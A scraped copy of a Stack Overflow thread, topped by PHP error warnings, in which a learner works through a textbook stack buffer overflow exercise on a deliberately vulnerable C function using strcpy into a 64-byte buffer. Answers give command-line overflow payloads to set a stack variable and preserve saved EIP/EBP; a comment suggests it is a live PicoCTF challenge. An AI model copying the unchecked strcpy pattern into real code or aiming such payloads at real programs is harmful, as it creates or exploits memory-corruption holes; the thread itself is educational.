Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/assembly/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 将堆栈溢出为变量混乱(计算机安全)_C_Assembly_Stack_Buffer Overflow - Fatal编程技术网

C 将堆栈溢出为变量混乱(计算机安全)

C 将堆栈溢出为变量混乱(计算机安全),c,assembly,stack,buffer-overflow,C,Assembly,Stack,Buffer Overflow,我正在通过我在网上找到的一本书学习计算机安全(这本书对我来说很新,很简单!),其中有一章教你如何溢出堆栈。程序中使用的功能是: void vuln(int tmp, char *str) { //attempting to overflow into tmp, setting win accordingly int win = tmp; //overflowing this array! char buf[64]; strcpy(buf, str);

我正在通过我在网上找到的一本书学习计算机安全(这本书对我来说很新,很简单!),其中有一章教你如何溢出堆栈。程序中使用的功能是:

void vuln(int tmp, char *str) {
    //attempting to overflow into tmp, setting win accordingly
    int win = tmp;
    //overflowing this array!
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        printf("You win!\n");
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}
我要做的是溢出
buf
并将
tmp
的值设置为1,相应地设置win并让我赢

目前,我正在使用一个快速python脚本打印84个字母“a”,直到堆栈填充到我想要设置值的变量。这是我在命令提示符下进行的调用:

./simple_overwrite $(python -c "print 'A'*84) 
给出的输出为:

Stack dump:
> 0xffffd614: 0xffffd803 (second argument)
> 0xffffd610: 0x00000000 (first argument)
> 0xffffd60c: 0x41414141 (saved eip)
> 0xffffd608: 0x41414141 (saved ebp)
> 0xffffd604: 0x41414141
> 0xffffd600: 0x41414141
> 0xffffd5fc: 0x41414141
> 0xffffd5f8: 0x41414141
> 0xffffd5f4: 0x41414141
> 0xffffd5f0: 0x41414141
> 0xffffd5ec: 0x41414141
> 0xffffd5e8: 0x41414141
> 0xffffd5e4: 0x41414141
> 0xffffd5e0: 0x41414141
> 0xffffd5dc: 0x41414141
> 0xffffd5d8: 0x41414141
> 0xffffd5d4: 0x41414141
> 0xffffd5d0: 0x41414141
> 0xffffd5cc: 0x41414141
> 0xffffd5c8: 0x41414141
> 0xffffd5c4: 0x41414141
> 0xffffd5c0: 0x41414141
> 0xffffd5bc: 0x41414141 (beginning of buffer)
> win = 1094795585
> Sorry, you lose.
虽然我不太确定在脚本之后输入什么来将地址设置为指向1的值,但我尝试了0x1和1,但都不起作用。非常感谢您的帮助,谢谢


另外,我知道这是一个非常糟糕的练习,但请记住这是关于计算机安全的,我不想在本教程之外使用它。

您已将
win
设置为
0x4141
。您想将其设置为
1
。试着这样做:

./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'") 

或者可能是
'\x01\x00\x00\x00'
,这取决于你的电脑的终端。

你太棒了!谢谢你的帮助,如果你不介意的话,我还有一个关于缓冲区溢出的问题。如果我真的想修改这个参数
tmp
,我怎么做才能不破坏保存的eip和edp?我知道这是可能的,但我不确定如何将这些保存的值“跳过”到tmp中。我只是在这里猜测,但我会在没有溢出的情况下运行程序(
print'A'*4
),并观察转储堆栈显示的值。然后我会再次运行该程序,将观察到的值放入print语句(
print'A'*64+'\x00\x00\x00\x00\x01'+'\xc8\x00\x94\x24'
或其他任何内容)。这样,即使您仍在覆盖已保存的EIP和已保存的EBP,也会使用正确的值覆盖它们。请注意,如果启用了,此技术将不起作用。为什么您认为了解此类问题是件坏事?因为知识是危险的?了解漏洞是如何发生的,以及一些漏洞可以被利用的程度有多小,通常会产生一个副作用,即首先要学会避免创建漏洞。我假设您正在参加我帮助举办的PicoCTF竞赛。正如我们在网页上明确指出的那样,这被视为作弊行为:“与其他团队共享密钥或提供过度暴露的提示都是作弊行为,团队以外的人员直接协助也是作弊行为(使用互联网上的工具是可以的;请互联网上的人帮你解决问题不是)。”